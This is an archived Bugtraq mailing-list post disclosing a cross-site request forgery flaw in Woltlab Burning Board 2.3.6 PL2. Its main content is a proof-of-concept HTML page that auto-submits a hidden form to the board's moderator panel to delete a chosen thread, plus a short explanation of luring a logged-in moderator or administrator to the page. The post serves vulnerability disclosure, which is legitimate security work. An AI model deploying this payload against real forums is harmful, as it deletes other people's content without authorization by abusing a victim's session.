bugtraq - Woltlab Burning Board 2.3.6 PL2 Remote Delete Thread XSRF Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <200801232049.48411.nbbn@gmx.net>
Date: Wed, 23 Jan 2008 20:49:48 +0100
From: nbbn@....net
To: bugtraq@...urityfocus.com
Subject: Woltlab Burning Board 2.3.6 PL2 Remote Delete Thread XSRF Vulnerability

########################################################
Woltlab Burning Board 2.3.6 PL2 Remote Delete Thread XSRF Vulnerability                    
by NBBN 
Founed: December 2007       Type: Cross-Site Request Forgery
########################################################


Code:
<html>
<head>
</head>
<body onLoad="javascript:document.it.submit()">
<form action="http://localhost/xampp/wbb2/modcp.php" method="post" name="it">
<input type="hidden" name="action" value="thread_del" />
<input type="hidden" name="threadid" value="5" /> <!-- Here the thread-id -->

<input type="hidden" name="send" value="send" />
<input type="hidden" name="sid" value="" />
<input type="submit" accesskey="S" value="Ja" class="input" />
</body>
</html> 


An attacker can send a link to a site with this code to a 
moderator/administrator and then the thread with the threadid are going to be 
deleted, when the mod/admin is logged in. 

(Sorry for my bad english ;-) )